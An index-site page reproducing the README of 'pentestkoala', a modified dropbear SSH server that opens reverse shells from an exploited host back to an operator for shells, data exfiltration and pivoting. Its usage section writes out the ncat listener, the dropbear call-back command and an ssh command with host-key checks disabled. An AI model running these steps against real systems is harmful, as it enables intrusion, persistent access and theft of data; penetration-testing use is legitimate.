Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/mrschyte/pentestkoala

Modified dropbear server which acts as a client and allows authless login
https://github.com/mrschyte/pentestkoala

Last synced: 3 months ago
JSON representation

Modified dropbear server which acts as a client and allows authless login

Awesome Lists containing this project

README

        

Koala is a patched version of the dropbear SSH server that instead of
binding to a port opens up reverse shells by connecting to a remote
client.

This is useful for gaining a pty terminal on an exploited machine and
also for secure exfiltration of data via SSH port forwarding. Pivoting
can also be done by using the dynamic SSH port forwarding feature.

[Usage]

Run the following command on the client to listen for the SSH connection:
$ ncat -lvp 5000 --sh-exec 'ncat -lvp 9999'

On the exploited host run:
$ ./dropbear -p client-host:5000

Now on the client, connect to port 9999 to open up a shell:
$ ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null localhost -D9050 -p9999